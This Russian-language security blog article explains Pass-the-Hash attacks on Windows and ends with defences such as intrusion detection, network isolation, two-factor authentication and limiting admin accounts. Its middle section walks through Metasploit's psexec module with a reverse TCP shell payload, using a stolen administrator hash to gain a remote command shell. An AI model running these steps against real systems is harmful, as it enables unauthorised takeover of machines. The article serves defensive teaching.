Анатомия атак типа «Pass the Hash»

Автор: lexy Суббота, Декабрь 6th, 2014 Нет комментариев

Рубрика: Безопасность

Специалисты в области информационной безопасности часто концентрируют массу вашего внимания на том, чтобы убедиться в строгости политик безопасности и сложности паролей, с целью устранить возможность взлома со стороны злоумышленников. В этой статье рассказывается о том, как пароли хэшируются и хранятся, и как злоумышленники могут взламывать такие пароли. 

Более того, как вы отреагируете, если я скажу вам, что при определенных условиях мне даже не понадобится взламывать ваши пароли, чтобы получить такой доступ к системе, как будто бы я воспользовался вашим именем пользователя и паролем? Нет, я говорю не про некие особые уязвимости типа 0-day или про то, чтобы обманом заставить вас нажать на зараженную ссылку в фишинговом электронном письме. Сделать это очень просто при помощи техники под названием «Pass the Hash». В этой статье мы рассмотрим, как работает данная техника, и я покажу вам способ получения украденных хэшей паролей и успешного их применения без необходимости взламывать содержимое. Как обычно, я раскрою и некоторые приемы обнаружения и защиты от подобных атак.

Хэши на пакетном уровне

Когда вы создаете пароль для аккаунта в Windows, он преобразуется в хэш. Хэш представляет собой результат криптографической функции, которая принимает на вход строку данных произвольной длины, осуществляет математическое преобразование и на выходе дает строку фиксированной длины. В итоге, вместо того, чтобы хранить пароль ‘PassWord123′, у вас будет хранится хэш-строка ’94354877D5B87105D7FEC0F3BF500B33.’ Такой подход обусловлен двумя причинами. Во-первых, это означает, что ваш пароль не хранится на локальном жестком диске в виде обычного текста, который может прочитать каждый; а во-вторых, ваш пароль не передается по сети в виде текста при авторизации на другом устройстве (например, на контроллере домена). Я не буду в этой статье подробно останавливаться на том, как именно производится хэширование.

Когда вы пытаетесь получить доступ к компьютеру, защищенному именем пользователя и паролем, хост предложит вам авторизоваться. Обычно вводятся имя пользователя и пароль. После ввода пароля компьютер производит хэширование пароля и отправляет его хосту для сравнения со значением, содержащимся в базе данных. Если хэши совпадают, доступ открывается.


Рисунок 1: Нормальная попытка соединения на базе аутентификации

А теперь давайте рассмотрим другую ситуацию. Что если мы вручную установим соединение с хостом, на котором имеется требуемый ресурс, но вместо того, чтобы давать ему свое имя и пароль, мы передадим имя администратора и его хэш, который мы украли? Мы получаем административный доступ к этому хосту. Не забывайте, что хост волнует лишь получение хэша, соответствующего нужному паролю. То есть вам не обязательно применять функцию хэширования над паролем, нужно только передать хэш, на чем атака и основана.


Рисунок 2: Передача хэша целевому хосту напрямую

Использование Metasploit для «Pass the Hash»

Сейчас, разобравшись с теорией, лежащей в основе атак, пора перейти к практике. Нашей задачей будет передать украденный хэш пользователя с правами администратора системе-жертве. Чтобы осуществить эту атаку, нам понадобятся две вещи. Во-первых, нам нужен украденный хэш администратора. Есть несколько различных методов получения хэшей паролей. Кроме украденного хэша нам нужна копия Metasploit, инструмента для осуществления атаки.

Metasploit – это свободно распространяемый фреймворк для тестирования взлома, разработанный в HD Moore (сейчас Rapid7). В свободном доступе есть тысячи статей и тренировочных курсов по Metasploit, и хотя мы воспользуемся им для вполне конкретного типа атак, он способен атаковать и по многим другим направлениям.

Или вы можете загрузить и работать с Backtrack 4. BT4 – это линуксовый дистрибутив live-CD, созданный специально для тестирования взлома и внедрения, в котором есть масса предустановленных и прекомпилированных инструментов, включая Metasploit. Metasploit вы обнаружите в папке /pentest/exploit/framework3. Скриншоты примеров, показываемые в остальной части статьи, берутся из BT4.

Имея на руках украденный хэш и Metasploit, мы начинаем подготовку к атаке. Для начала нужно запустить консоль Metasploit. В BT4 для этого нужно перейти в папку /pentest/exploit/framework3 и набрать ./msfconsole.


Рисунок 3: Запуск консоли Metasploit

Metasploit – настоящий Фреймворк, состоящий из различных модулей, используя которые он решает свои задачи. В нашем случае мы воспользуемся модулем psexec. Psexec – это обычный инструмент (используется не только в Metasploit), который нужен для удаленного запуска процессов в системе и перенаправления результатов работы этих процессов обратно в систему, через которую вы работаете. Для работы с модулем введите use windows\smb\psexec и нажмите Enter. Состояние командной оболочки, которой вы пользуетесь, должно отразить использование этого модуля.


Рисунок 4: Использование модуля psexec

Теперь мы должны установить тип отправляемой функциональной части. Metasploit открывает самое базовое соединение с нашей жертвой, поэтому когда с помощью имени и хэша мы проходит авторизацию, функциональная часть определит, какие задачи мы выполняем через psexec. В нашем случае у нас масса злых намерений для нашей жертвы, поэтому вместо открытия какой-то одной программы, мы хотим запустить командную оболочку, чтобы можно было наделать много всякого. Один из самых эффективных для этого методов – воспользоваться обратной TCP-оболочкой. Вот и вся функциональность: запуск экземпляра cmd.exe и отправка данных через наше соединение для удаленного доступа. Для установки этого типа функциональной части введите set payload windows/shell_reverse_tcp.


Рисунок 5: Установка функциональной части для обратной TCP-оболочки

Для работы этого модуля и требуемой функциональности нужно настроить некоторые опции. Для этого введите show options и нажмите Enter.


Рисунок 6: Настраиваемые опции для данного модуля и требуемой функциональности

Для установки нужных нам опций воспользуемся синтаксисом ‘set [название опции] [значение]‘. Нужно установить следующие опции:

  • RHOST ‘ IP-адрес жертвы
  • SMBPass ‘ Украденный хэш жертвы
  • SMBUser ‘ Имя пользователя жертвы
  • LHOST ‘ IP-адрес атакующей машины

В большинстве ситуаций этих четырех опции вам будет достаточно, все остальное можно оставлять по умолчанию. После настройки результат должен соответствовать показанному на Рисунке 7.


Рисунок 7: Опции атаки настроены

На данный момент все приготовления завершены, и мы можем приступать к атаке. Для этого просто введите exploit и нажмите Enter. В случае успеха, вы увидите нечто похожее на то, что показано на Рисунке 8 — на нормальную командную оболочку Windows. И теперь у нас есть административный контроль над машиной без знания пароля администратора.


Рисунок 8: Успешная атака дает нам командный процессор Windows

Защита против «Pass the Hash»

Атаки «Passing the hash» трудно обнаруживать и предотвращать из-за самой природы процесса авторизации. Сделать тут можно совсем немного:

  • Мониторинг системой обнаружения вторжений(СОВ) — Пользуясь СОВ, вы вряд ли сможете поймать за руку злоумышленника, который пытается использовать атаку типа «pass the hash», поскольку обычно это выглядит как обычная авторизационная последовательность. Однако вам может и удастся обнаружить атаку, основываясь на тех действиях, которые осуществляет злоумышленник после получения доступа. Например, в нашем тестовом сценарии вы не увидели бы предупреждение от СОВ при атаке машины жертвы, но заметили бы предупреждение, когда psexec создает оболочку и отправляет ее назад по сети. Это позволит вам обнаружит атаку и принять соответствующие меры.
  • Изоляция важных систем — Все машины, содержащие важные данные, должны быть изолированы. При помощи соответствующих настроек маршрутизаторов и брандмауэров вы сможете ограничить доступ к местам, где содержатся важные данные. При этом пользователи не должны быть в состоянии проводить атаки типа «pass the hash» для получения доступа к важным системам.
  • Двухфакторная авторизация — Расчет на пароли как на единственное средство авторизации уходит в прошлое, и это правильно. Чтобы авторизация пользователя была достаточно надежной, она должна состоять из двух или даже трех факторов. Эти факторы могут включать в себя: что-то, что вам известно (пароль); что-то, что у вас есть (смарт-карт, маркер) и что-то, что присуще только вам (отпечаток пальца, рисунок радужной оболочки глаза). Комбинация двух или трех из таких факторов предотвращает возможность авторизовываться с помощью только пароля или украденного хэша.
  • Ограничение административного доступа — Чем больше пользовательских аккаунтов имеет административные права, тем выше возможность того, что их хэши украдут и будут использовать для управления машинами с наивысшими привилегиями. Необходимо всегда проводить регулярные проверки с целью определить, имеет ли какой-нибудь пользователь доступ административного уровня.

Заключение

Атаки типа «Passing the hash» очень простые для исполнения и летальны для жертвы. Как вы видели в этой статье, проведение ее требует всего пары инструментов и немного желания – вот и все, что нужно хакеру, чтобы сломать вашу инфраструктуру. Надеюсь, что те знания об этой атаке и о стратегиях ее обнаружения и предотвращения, которые мы сегодня обсудили, помогут вам лучше подготовить к защите и реакции на такие атаки в случае обнаружения их в вашей сети.

 

Источник: winzone.ru

Оставить комментарий

Чтобы оставлять комментарии Вы должны быть авторизованы.

Похожие посты